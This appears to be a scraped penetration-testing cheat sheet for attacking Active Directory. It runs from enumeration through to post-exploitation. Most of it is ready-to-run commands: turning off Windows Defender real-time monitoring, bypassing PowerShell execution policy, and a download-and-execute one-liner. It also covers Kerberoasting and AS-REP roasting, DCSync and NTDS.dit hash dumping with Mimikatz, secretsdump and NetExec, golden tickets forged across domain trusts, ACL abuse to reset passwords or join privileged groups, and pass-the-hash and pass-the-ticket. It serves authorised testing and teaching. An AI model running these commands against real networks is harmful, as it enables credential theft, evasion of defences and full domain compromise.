# Equivalent to: Get-ADDomain (defaultNamingContext) β RootDSE and default naming context (reuse $defaultNC below) $root = [ADSI]"LDAP://RootDSE" $defaultNC = $root.defaultNamingContext.Value # Equivalent to: Get-ADDomain β Basic domain info $domain = [ADSI]"LDAP://$defaultNC" $domain.Name # Equivalent to: Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName β Search for Kerberoastable accounts (requires Domain user) # (request a TGS for a service in an attempt to crack the service's password, which its hash is used to encrypt the TGS) $searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$defaultNC") $searcher.Filter = "(&(objectCategory=user)(servicePrincipalName=*))" $searcher.PropertiesToLoad.Add("servicePrincipalName") | Out-Null $searcher.PropertiesToLoad.Add("samAccountName") | Out-Null $searcher.FindAll() # Equivalent to: Get-ADTrust β Domain trust relationships (trustedDomain objects under CN=System) $sysNC = "CN=System," + $defaultNC $trustSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$sysNC") $trustSearcher.Filter = "(objectClass=trustedDomain)" $trustSearcher.PropertiesToLoad.Add("name") | Out-Null $trustSearcher.FindAll() # Equivalent to: Get-ADGroup -Filter * β Group enumeration (all group names) $searcher.Filter = "(objectCategory=group)" $searcher.PropertiesToLoad.Clear(); $searcher.PropertiesToLoad.Add("samAccountName") | Out-Null $searcher.FindAll() | ForEach-Object { $_.Properties["samaccountname"][0] } # Equivalent to: Get-ADGroup -Identity <GROUP_NAME> β Single group by name $searcher.Filter = "(&(objectCategory=group)(samAccountName=<GROUP_NAME>))" $searcher.PropertiesToLoad.Add("distinguishedName") | Out-Null $groupResult = $searcher.FindOne() $groupDN = $groupResult.Properties["distinguishedname"][0] # Equivalent to: Get-ADGroupMember -Identity <GROUP_NAME> β Group members (member attribute contains DNs) $groupEntry = [ADSI]"LDAP://$groupDN" $groupEntry.Properties["member"].ValuePowerView (deprecated)
- Original: https://github.com/PowerShellMafia/PowerSploit
- Maintained: https://github.com/BC-SECURITY/Empire/blob/main/empire/server/data/module_source/situational_awareness/network/powerview.ps1
Although “dated” code-wise and heavily flagged by Security Products the underlying LDAP queries have not changed, and it is still functional.
# Enum users # https://powersploit.readthedocs.io/en/latest/Recon/Get-DomainUser/ Get-DomainUser -Identity <USER> -Domain <DOMAIN> | Select-Object -Property name,samaccountname,description,memberof,whencreated,pwdlastset,lastlogontimestamp,accountexpires,admincount,userprincipalname,serviceprincipalname,useraccountcontrol # Enum Domain Admins # https://powersploit.readthedocs.io/en/latest/Recon/Get-DomainGroupMember/ Get-DomainGroupMember -Identity "Domain Admins" -Recurse # Enum Domain Trusts Get-DomainTrustMapping # Test Admin access locally or remotely # https://powersploit.readthedocs.io/en/latest/Recon/Test-AdminAccess/ Test-AdminAccess -ComputerName <MACHINE> # Kerberostable accounts Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalNameSharpView
.NET port of PowerView… usually has same functions and syntax. Useful when a host or network has PowerShell hardening.
Living Off the Land (Native Binaries)
Typically, these log less and not flagged as much as pulling external tools. Especially in offline or segmented environments these can be more useful.
See more about… Windows Defender, Windows Firewall
Source: Docs > 6 - Post-Exploitation > security-products#windows-defender
Windows Defender
# Check WinDefend service sc.exe query windefend # Check Status Get-MpComputerStatus # Enable WinDefend Set-MpPreference -DisableRealtimeMonitoring $false C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $false" # Disable WinDefend realtime monitoring Set-MpPreference -DisableRealtimeMonitoring $true C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"Source: Docs > 6 - Post-Exploitation > security-products#windows-firewall
Windows Firewall
# Show state of all profiles netsh advfirewall show allprofiles# Add Firewall Exception netsh advfirewall firewall add rule name=<NAME> dir=in action=allow protocol=TCP localport=<PORT>Initial Survey
DOS Version
# Am I Alone?? quser qwinsta # All-in-1 Info Command systeminfo # Hostname, Domain, DC, net interfaces, env vars hostname echo %USERDOMAIN% echo %logonserver% ipconfig /all set # OS Version ver.exe # Security Patches (Hotfixes) wmic qfe get Caption,Description,HotFixID,InstalledOn # Network Information ipconfig /all arp -a route print netstat -anob netsh advfirewall show allprofilesWMI Version
- WMIC Cheatsheet: https://gist.github.com/xorrior/67ee741af08cb1fc86511047550cdaf4
# Basic Host Info wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:List # Basic Domain Info wmic ntdomain get Caption,Description,DnsForestName,DomainName,DomainControllerAddress # Security Patches wmic qfe get Caption,Description,HotFixID,InstalledOn # Process List wmic process list /format:list # Domain and DC Info wmic ntdomain list /format:list # Users on the Domain wmic useraccount list /format:list # Local Groups Info wmic group list /format:list # System Accounts Info wmic sysaccount list /format:listnetVersionThese could be potentially heavily monitored. Try
net1instead ofnetwill execute the same functions without the potential trigger from the net string.# Information about password requirements net accounts # Password and lockout policy net accounts /domain # Information about domain groups net group /domain # List users with domain admin privileges net group "Domain Admins" /domain # List of PCs connected to the domain net group "Domain Computers" /domain # List PC accounts of domains controllers net group "Domain Controllers" /domain # User that belongs to the group net group <DOMAIN_GROUP> /domain # List of domain groups net groups /domain # All available groups net localgroup # List users that belong to the administrators group inside the domain net localgroup administrators /domain # Information about a group (admins) net localgroup Administrators # Add user to administrators net localgroup administrators <USER> /add # Check current shares net share # Get information about a user within the domain net user /domain <USER> # List all users of the domain net user /domain # Information about the current user net user %username% # Mount the share locally net use Z: \\<TARGET>\<SHARE> # Get a list of computers net view # Shares on the domains net view /all /domain[:<DOMAIN>] # List shares of a computer net view \\<TARGET> /ALL # List of PCs of the domain net view /domaindsqueryVersion- https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc732952(v=ws.11)
- Wildcard: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc754232(v=ws.11)
- LDAP OID: https://ldap.com/ldap-oid-reference-guide/
Native tool to find AD objects. Only exists on hosts installed with
Active Directory Domain Services Roleand atC:\Windows\System32\dsquery.dll.# Query all users or computers dsquery user dsquery computer # Query filter for all users in a Domain dsquery * "CN=Users,DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>" # Users With Specific Attributes Set (PASSWD_NOTREQD) # 1.2.840.113556.1.4.803:=32 means PASSWD_NOTREQD must be set dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl # Search DCs in Current Domain dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.803:=8192)" -limit 5 -attr sAMAccountName # Search disabled accounts dsquery * -filter "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=2)(adminCount=1)(description=*))" -limit 5 -attr SAMAccountName description
User Account Control Bit Values
PowerShell Version
See more about… Bypass Execution Policy
Source: Docs > 6 - Post-Exploitation > security-products#bypass-execution-policy
Bypass Execution Policy
- https://learn.microsoft.com/en-us/powershell/
- https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies
- Bypasses: https://www.netspi.com/blog/technical-blog/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy/
# Get Current PS Execution Policy Get-ExecutionPolicy -List # Override Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope ProcessGet-Module Get-ExecutionPolicy -List Set-ExecutionPolicy Bypass -Scope Process Get-ChildItem Env: | ft Key,Value Get-Content $env:APPDATA\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt # Pull any other tools via HTTP powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('<DOWNLOAD_URL>');"Domain Trusts
# Search for trusts (ADSI β no RSAT required) $root = [ADSI]"LDAP://RootDSE" $defaultNC = $root.defaultNamingContext.Value $sysNC = "CN=System," + $defaultNC $searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$sysNC") $searcher.Filter = "(objectClass=trustedDomain)" $searcher.PropertiesToLoad.Add("name") | Out-Null $searcher.FindAll() # Or use PowerView Import-Module .\PowerView.ps1 Get-DomainTrust Get-DomainTrustMapping Get-DomainUser -Domain <DOMAIN> | select SamAccountName netdom query /domain:<DOMAIN> trust # Using netdom to query workstations and servers netdom query /domain:<DOMAIN> workstationSee more about… Domain Trusts
Source: Docs > 9 - Notes > bloodhound#domain-trusts
Domain Trusts
- Pre-built Query
- Analysis > Domain Information > Map Domain Trusts
Abusing access between Domain Trusts
- SID History: https://learn.microsoft.com/en-us/windows/win32/adschema/a-sidhistory
- SID Filtering: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/55fc19f2-55ba-4251-8a6a-103dd7c66280
- often disabled by default to allow seamless migration
- Well-known SIDs: https://adsecurity.org/?p=1001
This normally occurs when a privileged user is migrated from one domain to another, and there is no SID filtering in place.
The following are required to do this attack via Mimikatz:
- child domain’s
- KRBTGT hash
- (Linux) or privileged user creds that can access the domain
- SID
- FQDN
- name of a target user (does not need to exist!)
- KRBTGT hash
- root domain’s
- SID of the Enterprise Admins group
via Windows
# Obtaining the KRBTGT Account's NT Hash using Mimikatz and Domain SID .\mimikatz.exe 'lsadump::dcsync /user:<DOMAIN>\krbtgt' ## REMEMBER: above this SID is for the user... but it contains the domain/group portion. Just cut off the number after the last '-' section Import-Module .\PowerView.ps1 Get-DomainSID # Obtaining Enterprise Admins Group's SID using Get-DomainGroup Get-DomainGroup -Domain <DOMAIN> -Identity "Enterprise Admins" | select distinguishedname,objectsid # BEFORE: Verify no ticket klist ls \\<DC_FQDN>\c$ # Create GOLDEN TICKET # NOTE: the user matters only for logging .\mimikatz.exe 'kerberos::golden /ptt /user:<USER> /domain:<TARGET_DOMAIN> /sid:<TARGET_DOMAIN_SID> /krbtgt:<KRBTGT_HASH> /sids:<TARGET_SID>' # AFTER: Verify ticket creation and no access klist ls \\<DC_FQDN>\c$ === # Rubeus method .\Rubeus.exe golden /rc4:<KRBTGT_HASH> /domain:<TARGET_DOMAIN> /sid:<TARGET_DOMAIN_SID> /sids:<TARGET_SID> /user:<USER> /ptt # Then DCSYNC attack via Mimikatz lsadump::dcsync /user:<DOMAIN>\<USER> /domain:<TARGET_DOMAIN>via Linux
Individually…
# Performing DCSync with secretsdump.py secretsdump.py <DOMAIN>/<USER>:'<PASSWORD>'@<DC_IP> -just-dc-user <TARGET_DOMAIN>/krbtgt # Domain SID lookupsid.py <DOMAIN>/<USER>:'<PASSWORD>'@<DC_IP> | grep "Domain SID" # GOLDEN TICKET attack ticketer.py -nthash <KRBTGT_HASH> -domain <TARGET_DOMAIN> -domain-sid <TARGET_DOMAIN_SID> -extra-sid <TARGET_SID> <USER> export KRB5CCNAME="$(pwd)/<USER>.ccache" # !!! use something like psexec to access !!!…or all-in-one script, but with GREAT CAUTION and UNDERSTANDING how this could negatively impact the target
# NOTE: will prompt for password raiseChild.py -target-exec <DC_IP> <TARGET_DOMAIN>/<USER> # can use administrator hash from output to secretsdump.py for a userAccess Control List (ACL)
ObjectAceType Permissions: https://learn.microsoft.com/en-us/windows/win32/adschema/extended-rights
ForceChangePasswordabused withSet-DomainUserPasswordAdd Membersabused withAdd-DomainGroupMemberGenericAllabused withSet-DomainUserPasswordorAdd-DomainGroupMemberGenericWriteabused withSet-DomainObjectWriteOwnerabused withSet-DomainObjectOwnerWriteDACLabused withAdd-DomainObjectACLAllExtendedRightsabused withSet-DomainUserPasswordorAdd-DomainGroupMemberAddSelfabused withAdd-DomainGroupMember
ACL Abuse Impact DCSync(GetChanges+GetChangesAll)lsadump::dcsync/secretsdumpDump all domain hashes β game over GenericAllSet-DomainUserPassword/Add-DomainGroupMember/ RBCD / Shadow CredsFull control over object AllExtendedRightsSet-DomainUserPassword/Add-DomainGroupMember/ DCSyncExtended rights bundle WriteDACLAdd-DomainObjectACLβ grant self GenericAllEscalates to GenericAll WriteOwnerSet-DomainObjectOwnerβ WriteDACL β GenericAllEscalates to GenericAll OwnsSet-DomainObjectOwnerβ WriteDACL chainSame as WriteOwner ReadLAPSPasswordGet-DomainComputer -Properties ms-mcs-AdmPwdInstant local admin ReadGMSAPasswordgMSADumper.pyService account takeover GenericWriteSet-DomainObject/ Targeted Kerberoast / Shadow Creds / Logon scriptPartial control ForceChangePasswordSet-DomainUserPasswordPassword reset without old pass AddMembersAdd-DomainGroupMemberAdd self to privileged group AddSelfAdd-DomainGroupMemberAdd self to one group only Top ACL Attacks
- ForceChangePassword - gives us the right to reset a user’s password without first knowing their password (should be used cautiously and typically best to consult our client before resetting passwords).
- GenericWrite - gives us the right to write to any non-protected attribute on an object. If we have this access over a user, we could assign them an SPN and perform a Kerberoasting attack (which relies on the target account having a weak password set). Over a group means we could add ourselves or another security principal to a given group. Finally, if we have this access over a computer object, we could perform a resource-based constrained delegation attack which is outside the scope of this module.
- AddSelf - shows security groups that a user can add themselves to.
- GenericAll - this grants us full control over a target object. Again, depending on if this is granted over a user or group, we could modify group membership, force change a password, or perform a targeted Kerberoasting attack. If we have this access over a computer object and the Local Administrator Password Solution (LAPS) is in use in the environment, we can read the LAPS password and gain local admin access to the machine which may aid us in lateral movement or privilege escalation in the domain if we can obtain privileged controls or gain some sort of privileged access.

Enumerating ACLs of User
See more about… Enumerating ACLs of User
Source: Docs > 9 - Notes > bloodhound#enumerating-acls-of-user
Enumerating ACLs of User
- Select starting node user
- Select Node Info > Scroll to
Outbound Control Rights First Degree Object Control- Right-Click edge > Help for more info
Transitive Object Control- Analysis > Dangerous Rights
PowerView
# Enum ACLs of User Import-Module .\PowerView.ps1 $sid = Convert-NameToSid <USER> # Pay Attention to ObjectAceType and ActiveDirectoryRights Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} -Verbose # Get Group Membership of User Get-DomainGroup -Identity "<GROUP>" | select memberof REPEAT Get-DomainObjectACL of GroupManual
WARNING: These commands are very slow
# Create list of Domain Users (ADSI) $root = [ADSI]"LDAP://RootDSE" $defaultNC = $root.defaultNamingContext.Value $searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$defaultNC") $searcher.Filter = "(objectCategory=user)" $searcher.PropertiesToLoad.Add("samAccountName") | Out-Null $searcher.FindAll() | ForEach-Object { $_.Properties["samaccountname"][0] } | Set-Content ad_users.txt # Iterate over users to find filtered ACL (ACL via LDAP path) foreach($line in [System.IO.File]::ReadLines(".\ad_users.txt")) { $u = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$defaultNC") $u.Filter = "(&(objectCategory=user)(samAccountName=$line))" $u.PropertiesToLoad.Add("distinguishedName") | Out-Null $r = $u.FindOne(); if($r) { $dn = $r.Properties["distinguishedname"][0]; Get-Acl "LDAP://$dn" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match '<DOMAIN>\\<USER>'} } } # Manually resolve ACL (ObjectAceType) GUIDs (ADSI) $root = [ADSI]"LDAP://RootDSE" $configNC = $root.configurationNamingContext.Value $extSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://CN=Extended-Rights,$configNC") $extSearcher.Filter = "(objectClass=controlAccessRight)" $extSearcher.PropertiesToLoad.Add("name") | Out-Null $extSearcher.PropertiesToLoad.Add("displayName") | Out-Null $extSearcher.PropertiesToLoad.Add("distinguishedName") | Out-Null $extSearcher.PropertiesToLoad.Add("rightsGuid") | Out-Null $extSearcher.FindAll() | Where-Object { $_.Properties["rightsguid"][0] -eq "<GUID>" }Checking Access Rights
Remote Desktop
# Check if machine is RDP-able Import-Module .\PowerView.ps1 Get-NetLocalGroupMember -GroupName "Remote Desktop Users" -ComputerName <COMPUTER_NAME>See more about… CanRDP
Source: Docs > 9 - Notes > bloodhound#canrdp
CanRDP
- BloodHound CanRDP:
- Search for User > Node Info > Execution Rights
- Analysis
Find Workstations where Domain Users can RDPFind Servers where Domain Users can RDP
WinRM
# Check if machine is WinRM-able Import-Module .\PowerView.ps1 Get-NetLocalGroupMember -GroupName "Remote Management Users" -ComputerName <COMPUTER_NAME>See more about… CanPSRemote
Source: Docs > 9 - Notes > bloodhound#canpsremote
CanPSRemote
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2SQL
# Enumerate MSSQL instances on the domain Import-Module .\PowerUpSQL.ps1 Get-SQLInstanceDomain Get-SQLQuery -Verbose -Instance "<TARGET>,1433" -username "<DOMAIN>\<USER>" -password "<PASSWORD>" -query 'Select @@version'impacket-mssqlclient -windows-auth <DOMAIN>/<USER>:'<PASSWORD>'@<TARGET>See more about… SQLAdmin
Source: Docs > 9 - Notes > bloodhound#sqladmin
SQLAdmin
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2Domain Misconfigurations
DNS Record Enumeration (adidnsdump)
Resolves hidden records in the DNS zone that standard enumeration misses.
# Dump all DNS records (Authenticated) adidnsdump -vr -u <DOMAIN>\<USER> -p <PASSWORD> ldap://<DC_IP> # Resolve unknown records (A Query) adidnsdump -u <DOMAIN>\<USER> -p <PASSWORD> ldap://<DC_IP> -rUser Attributes Mining
Hunting for passwords in descriptions and weak account configurations.
# Find Passwords in Description Field Import-Module .\PowerView.ps1 Get-DomainUser * | Select-Object samaccountname,description | Where-Object {$_.Description -ne $null} # Find PASSWD_NOTREQD Accounts # Users not subject to password policy length (potential blank passwords) # https://ldapwiki.com/wiki/Wiki.jsp?page=PASSWD_NOTREQD Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrolSYSVOL & Group Policy Passwords
Searching for hardcoded credentials in scripts and registry preferences.
# 1. Manual Check (PowerShell) ls \\<DC_NAME>\SYSVOL\<DOMAIN>\scripts # 2. Automated Hunt (NetExec) - GPP Autologin & Registry nxc smb <TARGET_IP> -u <USER> -p <PASSWORD> -M gpp_autologin nxc smb <TARGET_IP> -u <USER> -p <PASSWORD> -M gpp_passwordPrinter Bug Enumeration (Spooler Service)
Checks if the Print Spooler is running on the DC (required for coercion attacks like PetitPotam/PrinterBug).
# SecurityAssessment.ps1 git clone https://github.com/itzvenom/Security-Assessment-PS && cd Security-Assessment-PS Import-Module .\SecurityAssessment.ps1 Get-SpoolStatus -ComputerName <DC_FQDN>Exchange Privilege Escalation
Abusing Exchange Windows Permissions group.
Reference: https://github.com/gdedrouas/Exchange-AD-Privesc
Getting Access Credentials
Kerberoasting (cracking TGS)
- Service Principal Names (SPN): https://learn.microsoft.com/en-us/windows/win32/ad/service-principal-names
- Event 4769 Logging: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769
- Event 4770 Logging: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4770
- Mitigation: https://adsecurity.org/?p=3458
Kerberoasting involves any valid domain user requesting a Ticket Granting Service (TGS) for an SPN. The TGS is encrypted with the service’s NTLM password hash, which if a human-readable password was set, can be cracked to reveal a password. The service is often times a local administrator. The key point is this technique must use password cracking to reveal the password; otherwise, only the TGS and an authorized user can access the service . Hence, an uncrackable password will prove fruitless. One must have 1 of the following:
- an account’s cleartext password or NTLM hash
- a shell in the context of a domain user account (Kerberos ticket)
- SYSTEM level access on a domain-joined host
TGS Encryption Types
- Kerberos Encryption Types: https://techcommunity.microsoft.com/blog/coreinfrastructureandsecurityblog/decrypting-the-selection-of-supported-kerberos-encryption-types/1628797
Encryption Type Hashcat Mode Hash Format Notes RC4 13100$krb5tgs$23$*Most common in most environments. Type 23 encrypted ticket. AES-128 19600$krb5tgs$17$*Type 17 encrypted ticket. AES-256 19700$krb5tgs$18$*Sometimes received. Type 18 encrypted ticket. Create Fake SPN via PowerView
Create a fake SPN to Kerberoast a user. This will require proper enumeration and a vector to have the right privileges.
SPN_NAMEformat:serviceclass/host[:port]: e.g.MSSQLSvc/sql01.domain.local:1433First import PowerView:
See more about… via PowerView
Source: Docs > 6 - Post-Exploitation > nice-commands#via-powerview
via PowerView
- https://powersploit.readthedocs.io/en/latest/Recon/Set-DomainUserPassword/
- https://powersploit.readthedocs.io/en/latest/Recon/Add-DomainGroupMember/
Import PowerView:
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1 Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process Import-Module .\PowerView.ps1If needed, authenticated as privileged user first:
$SecPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USER>', $SecPassword)Then, create and set NEW password of other account:
$newPassword = ConvertTo-SecureString '<NEW_PASSWORD>' -AsPlainText -Force Set-DomainUserPassword -Identity <USER> -AccountPassword $newPassword -Credential $Cred -VerboseAnd alternatively add more permissions to that user:
# Get Group SID # $group = (Get-DomainGroup "<GROUP>" -Server <DC_IP> -Credential $Cred).objectsid # Add User to Group Add-DomainGroupMember -Identity "<GROUP>" -Members '<USER>' -Domain <DOMAIN> -Credential $Cred -Verbose # Remove User from Group Remove-DomainGroupMember -Identity "<GROUP>" -Members '<USER>' -Domain <DOMAIN> -Credential $Cred -Verbose # Verify Group Membership or Removal Get-DomainGroupMember -Identity "<GROUP>" -Server <DC_IP> -Credential $Cred | Select MemberName# Authenticate $SecPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force $CredSPN = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USER>', $SecPassword) # Create SPN Set-DomainObject -Credential $CredSPN -Identity <USER> -SET @{serviceprincipalname='<SPN_NAME>'} -VerboseCleanup
# Remove fake SPN Set-DomainObject -Credential $CredSPN -Identity <USER> -Clear <SPN_NAME> -VerboseLinux
Impacket GetUserSPNs
# Enum users and collect tickets impacket-GetUserSPNs -dc-ip <DC_IP> <DOMAIN>/<USER> -request -outputfile spn_tickets.txtCrack TGS
# Crack TGS hashcat -m <HASHCAT_MODE> spn_tickets.txt <WORDLIST> # Verify via netexec netexec smb <DC_IP> -u <USER> -p <PASSWORD>Windows
via Rubeus
# Show Kerberoastable users .\Rubeus.exe kerberoast /nowrap # Show Kerberoastable admins .\Rubeus.exe kerberoast /nowrap /ldapfilter:'admincount=1' # Kerberoast User # NOTE: /tgtdeleg attempts to force RC4 enc .\Rubeus.exe kerberoast /nowrap /tgtdeleg /user:<USER>NOTE: This RC4 downgrade does not work against a Windows Server 2019 Domain Controller. It will always return a service ticket encrypted with the highest level of encryption supported by the target account
via PowerView
# Enumerate SPN Accounts Import-Module .\PowerView.ps1 Get-DomainUser * -spn | select samaccountname,description# Get TGS for User Get-DomainUser -Identity <USER> | Get-DomainSPNTicket -Format Hashcat# Get ALL TGS Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv -NoTypeInformation .\<OUTFILE>via Manual Method
# REQUIRED: declare new type Add-Type -AssemblyName System.IdentityModel # Request and load all TGS for all SPNs into memory # NOTE: these will need to be dumped from memory setspn.exe -T <DOMAIN> -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() } # Dump TGS from memory .\mimikatz.exe base64 /out:true kerberos::list /export # Format Base64 TGS echo '<TGS_BASE64>' | tr -d \\n | base64 -d > vmware.kirbi kirbi2john vmware.kirbi > crackme.txt # CRACK!See cracking: Crack TGS
AS-REP Roasting
When Kerberos pre-authentication is disabled, an attacker can request encrypted authentication responses without needing the user’s password and later attempt offline password cracking.
Windows
# Enumerate Vulnerable Users (PowerView) Import-Module .\PowerView.ps1 Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl # Roast Specific User (Rubeus) .\Rubeus.exe asreproast /nowrap /format:hashcat /user:<USERNAME>Linux
# Linux Alternative (Kerbrute) # Brute-force users AND auto-check for AS-REP Roasting kerbrute userenum -d <DOMAIN> --dc <DC_IP> <USERLIST>DCSync
- https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync
- https://tools.thehacker.recipes/mimikatz/modules/lsadump/dcsync
Steals the Active Directory password database by using the built-in
Directory Replication Service Remote Protocol, which is used by Domain Controllers to replicate domain data, allowing an attacker to mimic a DC to retrieve user NTLM password hashes.- REQUIRES:
DS-Replication-Get-ChangesorDS-Replication-Get-Changes-AllPermission- or
Write-Daclto add perm: https://bloodhound.specterops.io/resources/edges/write-dacl
- or
Enum via PowerView
# Look for DS-Replication-Get-Changes-All $sid = Convert-NameToSid <USER> Get-ObjectAcl "DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} | select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | flAttack via netexec
See more about… NTDS Extraction
Source: Docs > 9 - Notes > netexec#ntds-extraction
NTDS Extraction
- https://www.netexec.wiki/smb-protocol/obtaining-credentials/dump-ntds.dit
- NOTE: this can sometimes crash the DC:
# Extract NTDS.dit using ntdsutil module (copies NTDS.dit then parses it) nxc smb <TARGET> -u <ADMIN_USER> -p <PASSWORD> -M ntdsutilTo dump one account instead of the full database, add
--ntds --user <USER>:# Dump a specific user only (NTDS hash extraction scoped to one account) nxc smb <TARGET> -u <USER> -p <PASSWORD> --ntds --user Administrator nxc smb <TARGET> -u <USER> -p <PASSWORD> --ntds --user krbtgtAttack via mimikatz
See more about… DCSync
Source: Docs > 9 - Notes > mimikatz#dcsync
DCSync
Might require
runas.# Specific user lsadump::dcsync /domain:<DOMAIN> /user:<DOMAIN>\<USER> # For KRBTGT lsadump::dcsync /domain:<DOMAIN> /user:<DOMAIN>\krbtgt # All users # WARNING: takes a long time... write output to a file! log dc_sync.txt lsadump::dcsync /domain:<DOMAIN> /allManually via
NTDS.ditnetexecessentially does the same thing here but remotely… so this should be a last resort method.# Copy NTDS.dit # NOTE: hashes in NTDS are encrypted with DPAPI key in SYSTEM vssadmin list shadows vssadmin CREATE SHADOW /For=C: cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<NUM>\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit # Download it and impacket-secretsdump impacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCAL# Same as above but easier netexec smb <TARGET> -u <ADMIN_USER> -p <PASSWORD> -M ntdsutilEscalating and Pivoting
Pass the Key (PtK) / OverPass the Hash (OtH)
Concept: Request a Kerberos Ticket (TGT) using an NTLM hash or AES Key, rather than using the NTLM protocol directly.
Preparation
# Extract AES Keys .\mimikatz.exe "privilege::debug" "sekurlsa::ekeys" exitOption A: Mimikatz (Process Injection)
# Spawns a process. Windows will implicitly request TGT using the injected key/hash when network resources are accessed. # Can use /ntlm, /aes128, or /aes256 sekurlsa::pth /domain:<DOMAIN> /user:<USER> /aes256:<AES256_KEY> /run:cmd.exeOption B: Rubeus (Request & Inject)
# Requests a TGT from the KDC and immediately injects it (/ptt) # Can use /rc4 (NTLM), /aes128, or /aes256 .\Rubeus.exe asktgt /ptt /domain:<DOMAIN> /user:<USER> /aes256:<AES256_KEY>Pass the Ticket (PtT)
Windows
Mimikatz
# 1. Export tickets from memory to .kirbi files .\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit # $ : machine tickets (computers) # @ : service tickets (users) # 2. Inject Ticket .\mimikatz.exe "kerberos::ptt <TICKET_FILE.kirbi>" "misc::cmd" exitRubeus
# Enumerate tickets currently in session .\Rubeus.exe triage # Export tickets to base64 (for copy-paste) .\Rubeus.exe dump /nowrap # Pass from File .\Rubeus.exe ptt /ticket:"<TICKET_FILE.kirbi>" # Pass from Base64 String .\Rubeus.exe ptt /ticket:"<BASE64_STRING>" # Convert File to Base64 (PowerShell Helper) [Convert]::ToBase64String([IO.File]::ReadAllBytes("<TICKET_FILE.kirbi>")) # Advanced: Extract & Pass John's ticket automatically (Regex One-Liner) $raw = .\Rubeus.exe dump /user:john /nowrap | Out-String $ticket = [Regex]::Match($raw, "(?s)Base64EncodedTicket\s*:\s*(.*)").Groups[1].Value.Trim() -replace "\s", "" .\Rubeus.exe ptt /ticket:$ticketLinux
- Cache: https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html
- Check
$KRB5CCNAME- Stored in
/tmp
- Stored in
- Check
- Keytabs: https://servicenow.iu.edu/kb?sys_kb_id=2c10b87f476456583d373803846d4345&id=kb_article_view#intro
- Machine:
/etc/krb5.keytab
- Machine:
klist # Backup current keytab cp -v $(echo $KRB5CCNAME | cut -d ':' -f 2) KEYTAB.BAK # Use current keytab export KRB5CCNAME=KEYTAB.BAK# Enumerate AD information # https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/7/html/windows_integration_guide/cmd-realmd realm list # Check for AD grep -i "sss\|winbind\|ldap" /etc/nsswitch.conf ps -ef | grep -i "winbind\|sssd" env | grep -i krb5 # Find keytabs sudo find / \( -iname '*keytab*' -o -iname '*.kt' \) -ls 2>/dev/null # List cached Kerberos tickets klist # Backup current keytab cp -v $(echo $KRB5CCNAME | cut -d ':' -f 2) current.kt.bak # Use current keytab export KRB5CCNAME=$(pwd)/current.kt.bak # Extract hashes from keytab files # https://github.com/sosdave/KeyTabExtract python3 keytabextract.py <KEYTAB_FILE> # Use keytab # NOTE: not all cached keytabs are valid ls -la /tmp/krb5cc* cp -v <KEYTAB> $HOME/current.kt.bak export KRB5CCNAME=$HOME/current.kt.bak # Show keytabs klist # Use keytab kinit -k '<NAME>' smbclient //<TARGET>/C$ -k -no-pass -c 'ls'Double Hop Problem
